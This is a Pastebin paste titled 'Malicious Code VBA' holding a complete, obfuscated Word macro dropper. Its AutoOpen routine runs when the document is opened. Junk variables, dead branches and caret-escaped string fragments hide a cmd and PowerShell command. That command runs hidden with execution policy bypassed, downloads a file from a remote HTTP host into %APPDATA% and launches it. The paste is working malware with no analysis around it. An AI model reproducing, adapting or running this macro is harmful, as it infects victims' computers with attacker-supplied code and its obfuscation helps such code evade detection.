Advertisement
MrTouch

Malicious Code VBA

Jan 6th, 2017
859
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.54 KB | None | 0 0
  1. Attribute VB_Name = "tmp3DEF"
  2. Sub gyjale()
  3. Dim t8, a6, oh7, dgi0, zku4, bg, c8, u, ep8, mivekken4, ww0, to4, ips4, qgy9, zy6, xa9, hpyjvapy0, ti1, oz, v5, rq, av4, qqyvidlah
  4. Dim yqn, ma5, lr, ohc7, ci, a, sf9, ir9, k8, x2, nfa, i, ont, oqm, rji, k, a8, i9, qo4, jza, bu7, ff8, ol, ze8, i4, enb, sycty6, h, ri, un3, s2, ohl, z, wi9, o4, ww4, moby, ob4, ij, p8
  5. If 729 = 239 Then
  6. Dim ikubi
  7. ikubi = "ygoju"
  8. End If
  9. Dim w8, qbi0, zr2, x4, qd0, u7, o7, x, d, yx, xf, y1, jqi, lbi3, j0, ih, xto, zfu5, orz0, lo, fq2, g, ewq3, ut, sk5, y, od2
  10. Dim amuq
  11. amuq = 9133
  12. o4 = " ^"
  13. sycty6 = "WScr"
  14. jqi = "P^o"
  15. a8 = "bY^"
  16. sk5 = "sea"
  17. If "wcedod" = "enliw" Then
  18. Dim dqaqroro
  19. dqaqroro = "mbumzylhe"
  20. Dim womo
  21. womo = #4/4/1985#
  22. ' qhyh
  23. End If
  24. ont = "^l."
  25. hpyjvapy0 = "Shel"
  26. ze8 = "l^e"
  27. lr = "T-P"
  28. ma5 = "'ht"
  29. Select Case "do"
  30. Case "ofu"
  31. ' jvodbaludt zlexis vomx odpejxoje oho
  32. Rem uzramcifa niwoda
  33. Rem cjohgos woqwejetj uvuxypga uxwuq yqalku
  34. Case "avhucga"
  35. Dim husebg
  36. husebg = #4/20/2018#
  37. Case "bwu"
  38. ' udazma zfyfodrerc uweno pahsixe
  39. Dim flechi
  40. flechi = False
  41. Rem wpiry ijpijitno
  42. ' tdabxek asyjkasrig ezbic ani qohy oczugyvvo hzonbu
  43. End Select
  44. u7 = ").^"
  45. xto = "^ "
  46. ohc7 = "-my"
  47. to4 = "B^J"
  48. ob4 = "ROC"
  49. ' ebnucquvq
  50. enb = "-No"
  51. ir9 = "N^d"
  52. g = "e^L"
  53. Rem wopoq ukji abvox ogasx ifdaxu aqerazzyp ofogz
  54. oqm = "ers"
  55. Select Case 676
  56. Case 19
  57. Rem xpunsojtewj obysvo skuj yzlog arodqojle
  58. Dim esobxoxc
  59. esobxoxc = "yla"
  60. Case 88
  61. Rem qbicny uchokwewqa myrsotyvly lrurevvu dxanucd
  62. ' ybkifmi efowu uvoxbokzub jhaqh xrurnibzini voqewj fkoce
  63. Dim husycji
  64. husycji = 1702
  65. Dim alkeporq
  66. alkeporq = #5/20/1986#
  67. Case 115
  68. Dim aliqpo
  69. aliqpo = 4000
  70. Dim ogatt
  71. ogatt = True
  72. ' cylifzo
  73. End Select
  74. ri = "^TI"
  75. If "yvhadw" = "govcy" Then
  76. Rem otiry mxyburag ebjyqazw
  77. Dim banawd
  78. banawd = True
  79. ' iwi hvuryfgo
  80. End If
  81. dgi0 = "m^."
  82. lo = "pDa"
  83. i4 = " -"
  84. bg = "s^h"
  85. qqyvidlah = "ipt."
  86. k = "WEr"
  87. oh7 = ".wa"
  88. Dim evorz
  89. evorz = "glykm"
  90. ips4 = "DOW"
  91. ow0 = "%AP"
  92. If 862 = 282 Then
  93. Dim urebbe
  94. urebbe = True
  95. Dim yhlit
  96. yhlit = #5/6/1954#
  97. Rem ubciro weze okipufaqh
  98. End If
  99. ci = "^e^"
  100. ewq3 = "BcL"
  101. v5 = "n "
  102. od2 = "e /"
  103. Dim usob
  104. usob = True
  105. ww4 = " HI"
  106. Dim otkekbo
  107. otkekbo = True
  108. y1 = "SyS"
  109. x = "^Ic"
  110. If "ime" = "gibu" Then
  111. Dim ypwamr
  112. ypwamr = 4947
  113. Dim wbasyx
  114. wbasyx = "zaja"
  115. End If
  116. c8 = ".we"
  117. o7 = "eCU"
  118. Dim uwhyho
  119. uwhyho = 3101
  120. h = "s '"
  121. k8 = "lE("
  122. un3 = "POl"
  123. Select Case "bxyhyf"
  124. Case "fim"
  125. Dim bmyzixku
  126. bmyzixku = #10/9/1974#
  127. ' myxyjkob stirsobhyzs wmiljaxk tidbongyfmu wuhmeqdoze cvoqcy
  128. Case "zovcu"
  129. Rem khuly
  130. Dim mpombiba
  131. mpombiba = "ebihaq"
  132. Dim qbuwgato
  133. qbuwgato = "in"
  134. Case "ulce"
  135. Dim ijejzi
  136. ijejzi = 2189
  137. ' elu
  138. ' oxsegimf orargumgeb hgix acpabratt
  139. End Select
  140. s2 = ".ex"
  141. bu7 = "e^X"
  142. xf = "w-o"
  143. If 715 = 439 Then
  144. Rem ryhi ohoxosk kfovje
  145. Dim ocapnu
  146. ocapnu = "6424"
  147. End If
  148. ij = "NET"
  149. Rem lmeczihokf ebsuk sylpobrir ylitwuxli vyvq
  150. u = "stY"
  151. p8 = "^Fi"
  152. nfa = "Ss^"
  153. d = "NLo"
  154. lbi3 = "^'%"
  155. ih = "PRo"
  156. Select Case 526
  157. Case 889
  158. Rem utqer objo jdopba tlyfvocs ybypeh utugiz uclufedi
  159. Dim hvebze
  160. hvebze = #9/23/2018#
  161. Dim ftyguka
  162. ftyguka = False
  163. End Select
  164. yqn = "e^x"
  165. x4 = "');"
  166. wi9 = "cMD"
  167. If 858 = 934 Then
  168. ' praqducywly ihahymor
  169. End If
  170. zy6 = "Ta%"
  171. If "qky" = "jkykt" Then
  172. Rem vymhojgabo gwesbyxw
  173. Rem fmada aksiroxe lycyhmizo olrokxamer rvytty ivel
  174. ' luxzofno
  175. End If
  176. ep8 = "^EC"
  177. Select Case 576
  178. Case 259
  179. Dim jhahvylj
  180. jhahvylj = 1532
  181. Dim uzek
  182. uzek = #7/22/1953#
  183. Dim qyrrypu
  184. qyrrypu = #11/26/1955#
  185. End Select
  186. jza = "low"
  187. If 271 = 877 Then
  188. Dim zmava
  189. zmava = False
  190. ' otjugwi uqak ykqytpizr noto oherobl alwelfocba
  191. End If
  192. j0 = "EXE"
  193. If "wad" = "hzek" Then
  194. ' bhejinhahy
  195. End If
  196. w8 = "//f"
  197. rji = "^IE"
  198. If "mzyhpo" = "imqe" Then
  199. ' sabuqf jnodfynz afra
  200. Rem lgilucd gtujr urijxamza egujybdo
  201. End If
  202. ww0 = "dde"
  203. Rem equnu uta gecbur otbycqu ifcyghy
  204. zr2 = "DaT"
  205. Select Case 184
  206. Case 99
  207. ' akdosewrot qycxubp gfyncivt
  208. ' sujokp okipnyc xoqc icos
  209. Dim ywbabubd
  210. ywbabubd = #12/4/2011#
  211. Dim scydamt
  212. scydamt = "2142"
  213. Case 984
  214. Rem ucxu
  215. Dim nihmupy
  216. nihmupy = #8/1/1953#
  217. Dim ebhoco
  218. ebhoco = "9832"
  219. Dim lgishydy
  220. lgishydy = "ocudbo"
  221. End Select
  222. oz = "rch"
  223. ff8 = "O^n"
  224. mivekken4 = "l"
  225. a6 = "E^S"
  226. x2 = "e'"""
  227. y = "T^ "
  228. t8 = "L^E"
  229. Dim icdake
  230. icdake = 6754
  231. ut = "Y "
  232. xa9 = "p',"
  233. a = "FI^"
  234. z = "n^E"
  235. rq = "A^d"
  236. If 923 = 839 Then
  237. ' oky lwyhaxb icrynjyd bzut jjyvyk bibxeklafby
  238. Rem ipjaf dupun yfy uqpyznin ypbiqdyfa wer
  239. End If
  240. ohl = "te^"
  241. If 701 = 925 Then
  242. Dim uwolqe
  243. uwolqe = "2737"
  244. End If
  245. oshebja = ""
  246. ezhajo = TypeName(ActiveDocument.CodeName) = "String"
  247. qo4 = ".Ex"
  248. qgy9 = "^sT"
  249. qbi0 = "ApP"
  250. i = "C """
  251. yx = "A^r"
  252. sf9 = "p^A"
  253. fq2 = ".ph"
  254. i9 = "A%."
  255. Dim ajgaxgobc
  256. ajgaxgobc = "2072"
  257. orz0 = "ng/"
  258. qd0 = "-wI"
  259. If "ep" = "myqbo" Then
  260. Dim wiwlyq
  261. wiwlyq = "patsa"
  262. Dim xepefwy
  263. xepefwy = 2711
  264. ' ydhawyzjysw ivquqcetwo fal inko erej
  265. End If
  266. ti1 = " ("
  267. zku4 = "Nt^"
  268. Dim cbydda
  269. cbydda = "odcejp"
  270. av4 = "O^w"
  271. Dim gwoca
  272. gwoca = "1747"
  273. zfu5 = "tp:"
  274. ol = "^ ^"
  275. moby = sycty6 & qqyvidlah & hpyjvapy0 & mivekken4
  276. Set ybynh = CreateObject(moby)
  277.  
  278. If ezhajo Then
  279. xoqykr = Array(wi9, s2, od2, i, jqi, k, bg, g, ont, yqn, ci, i4, bu7, o7, ri, ff8, un3, x, ut, a8, sf9, nfa, o4, enb, ih, p8, t8, ol, qd0, ir9, av4, u, ze8, xto, ww4, ww0, v5, ti1, z, xf, to4, ep8, y, y1, ohl, dgi0, ij, c8, ewq3, rji, zku4, u7, ips4, d, rq, a, k8, ma5, zfu5, w8, jza, oqm, ohc7, oh7, orz0, sk5, oz, fq2, xa9, lbi3, qbi0, zr2, i9, j0, x4, qgy9, yx, lr, ob4, a6, h, ow0, lo, zy6, qo4, x2)
  280. ohlym = Array(Join(xoqykr, oshebja))(0)
  281. Dim jgetdi
  282. jgetdi = "3154"
  283. ybynh.Run ohlym, False
  284. End If
  285.  
  286. End Sub
  287. Sub AutoOpen()
  288. gyjale
  289. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement